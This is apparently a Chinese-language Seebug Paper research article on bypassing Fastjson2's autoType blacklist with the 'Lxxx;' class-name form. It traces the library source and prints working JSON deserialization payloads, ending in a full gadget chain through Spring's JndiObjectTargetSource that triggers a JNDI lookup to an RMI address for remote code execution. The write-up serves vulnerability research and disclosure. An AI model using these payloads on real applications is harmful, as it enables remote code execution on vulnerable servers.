作者:lhy
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

前言

Fastjson1在調用 JSON.parse 的時候出現過一些列的問題。早在 FastJson1.2.25-1.2.41 版本中就存在通過 L; 繞過的利用方法。

當時比較盛行的一種利用方式為

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}

Fastjson在解析類名時會刪除開頭的 L 和 結尾的 ;

最近筆者在看Fastjson2的時候與Fastjson1的黑名單進行了一些比較,也發現了一些問題。

Fastjson2黑名單bypass

Fastjosn2測試版本

 <dependency>
      <groupId>com.alibaba.fastjson2</groupId>
      <artifactId>fastjson2</artifactId>
      <version>2.0.38</version>
  </dependency>

首先檢查一下在Fastjson2中 com/alibaba/fastjson2/reader/ObjectReaderProvider.java#checkAutoType 都做了什么。

 public Class<?> checkAutoType(String typeName, Class<?> expectClass, long features) {
        if (typeName == null || typeName.isEmpty()) {
            return null;
        }

        ...

        int typeNameLength = typeName.length();
        // 類名長度檢測
        if (typeNameLength >= 192) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        // 不允許第一個字符為 [
        if (typeName.charAt(0) == '[') {
            String componentTypeName = typeName.substring(1);
            checkAutoType(componentTypeName, null, features); // blacklist check for componentType
        }

        if (expectClass != null && expectClass.getName().equals(typeName)) {
            afterAutoType(typeName, expectClass);
            return expectClass;
        }

        boolean autoTypeSupport = (features & JSONReader.Feature.SupportAutoType.mask) != 0;
        Class<?> clazz;

        ...

        clazz = loadClass(typeName);

        if (clazz != null) {
            // 判斷是否為 QLDataSourceOrRowSet 類型的類
            if (ClassLoader.class.isAssignableFrom(clazz) || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    afterAutoType(typeName, clazz);
                    return clazz;
                } else {
                    if ((features & JSONReader.Feature.IgnoreAutoTypeNotMatch.mask) != 0) {
                        return expectClass;
                    }

                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }

        afterAutoType(typeName, clazz);
        return clazz;
    }

眼尖的師傅一眼就可以發現了,在此時的版本中 Fastjson2 并沒有對 L; 的場景進行處理。也就是我們在解析字符的時候,是可以傳入 Lxxxx; 的。那么此時Fastjson2能否正確解析類呢。

然后我們跟進一下 com/alibaba/fastjson2/util/TypeUtils.java#loadClass 函數的處理流程。

public static Class loadClass(String className) {
    if (className.length() >= 192) {
        return null;
    }

    ...

    Class mapping = TYPE_MAPPINGS.get(className);
    if (mapping != null) {
        return mapping;
    }

    if (className.startsWith("java.util.ImmutableCollections$")) {
        try {
            return Class.forName(className);
        } catch (ClassNotFoundException e) {
            return CLASS_UNMODIFIABLE_LIST;
        }
    }

    // 可以看到此時 Fastjson2 是對 `Lxxx;` 進行了處理的
    if (className.charAt(0) == 'L' && className.charAt(className.length() - 1) == ';') {
        className = className.substring(1, className.length() - 1);
    }

    if (className.charAt(0) == '[' || className.endsWith("[]")) {
        String itemClassName = className.charAt(0) == '[' ? className.substring(1) : className.substring(0, className.length() - 2);
        Class itemClass = loadClass(itemClassName);
        if (itemClass == null) {
            throw new JSONException("load class error " + className);
        }
        return Array.newInstance(itemClass, 0).getClass();
    }

    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    if (contextClassLoader != null) {
        try {
            return contextClassLoader.loadClass(className);
        } catch (ClassNotFoundException ignored) {
        }
    }

    try {
        return JSON.class.getClassLoader().loadClass(className);
    } catch (ClassNotFoundException ignored) {
    }

    try {
        return Class.forName(className);
    } catch (ClassNotFoundException ignored) {
    }

    return null;
}

看起來我們可以用Fastjson1中的一些名單進行bypass了。

如何RCE

在上一節中說道,Fastjson2在解析字符串時,可以通過使用 Lxxx; 的形式繞過他的黑名單限制,但是除了對于類名的判斷,Fastjson2還有一些其他的黑名單檢測方式,比如在 checkAutoType 時判斷了一個類是否為 DataSource 相關的類。

讓我們具體調試一下。

首先利用之前的poc嘗試一下:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}

可以看到此時會去加載類了。

由于Fastjson2會對這個類名進行處理,所以不用擔心找不到這個類。

但是接下來Fastjson2還會進行進一步的判斷。

此時是無法過這個校驗的。也就是這個我們嘗試的poc在Fastjson2中無法使用。

要找到可以利用的POC也簡單,只需要找一個不是 Datasource 相關的類即可。如下:

public static void main(String[] args) {
    String poc = "{\"@type\":\"Lorg.apache.xbean.propertyeditor.JndiConverter;\",\"asText\":\"rmi://127.0.0.1:8089/test\"}";
    Object obj = JSON.parse(poc, JSONReader.Feature.UseNativeObject,
    JSONReader.Feature.SupportAutoType);
    System.out.println(obj);
}

在使用上面的這個POC時,需要一個依賴。

<dependency> 
  <groupId>org.apache.xbean</groupId> 
  <artifactId>xbean-reflect</artifactId> 
  <version>4.15</version>
</dependency>

Spring框架中的依賴利用

為了繼續深入找到一個被更加廣泛引入的利用類,筆者對spring進行了進一步查找,發現在Spring中存在這么一個類:org.springframework.jndi.JndiObjectTargetSource ,這個類有一個 getTarget 方法,可以觸發JNDI的調用。下面是一個最小調用的demo。

String poc3 = "{\n" +
                "    \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
                "    \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
                "    \"jndiTemplate\": {\n" +
                "        \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
                "        \"environment\": {\n" +
                "            \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
                "        }\n" +
                "    }\n" +
                "}";

JndiObjectTargetSource o = (JndiObjectTargetSource) JSON.parse(poc3, JSONReader.Feature.SupportAutoType);
o.getTarget();

然后可以看到,當parse出該對象后,如果觸發到了 getTarget 方法,就會調用到 JNDI的查詢。

為了讓這個利用更加好用,還需要想一個辦法讓他能自動調用到 JndiObjectTargetSource 對象的 getTarget 方法。

熟系 Fastjson1的師傅可能會想到通過 json path 的方式,可以直接取target進行觸發,但是這條路在 Fastjson2中是行不通的。

因此為了調用到 getTarget 方法,筆者這里想到了一條調用路徑為:setXXX -> toString -> getTarget 。在這里直接給出一條可以用的鏈。

{
    "@type":"javax.swing.plaf.basic.BasicComboBoxEditor",
    "item":{
        "@type":"com.alibaba.fastjson2.JSONObject",
        "a": {
            "@type":"Lorg.springframework.jndi.JndiObjectTargetSource;",
            "jndiName": "rmi://127.0.0.1:12312/Exp",
            "jndiTemplate": {
                "@type":"org.springframework.jndi.JndiTemplate",
                "environment": {
                    "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory"
                }
            }
        }
    }
}

Fastjson2 在構造 BasicComboBoxEditor 對象時,會調用它的 setItem 方法,而 setItem 方法會調用到 JSONObjecttoString 方法,然后會進一步調用到 JndiObjectTargetSourcegetTarget 方法。有興趣的師傅可以自行調試一下。

完整利用demo如下。

String poc = "{\n" +
                "    \"@type\":\"javax.swing.plaf.basic.BasicComboBoxEditor\",\n" +
                "    \"item\":{\n" +
                "        \"@type\":\"com.alibaba.fastjson2.JSONObject\",\n" +
                "        \"a\": {\n" +
                "            \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
                "            \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
                "            \"jndiTemplate\": {\n" +
                "                \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
                "                \"environment\": {\n" +
                "                    \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
                "                }\n" +
                "            }\n" +
                "        }\n" +
                "    }\n" +
                "}";

Object o = (Object) JSON.parse(poc, JSONReader.Feature.SupportAutoType);

后言

其實這種bypass也不是Fastjson2全版本通殺的,原因在于只有 2.0.14 版本開始,loadClass 才會對 L; 進行處理。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/3017/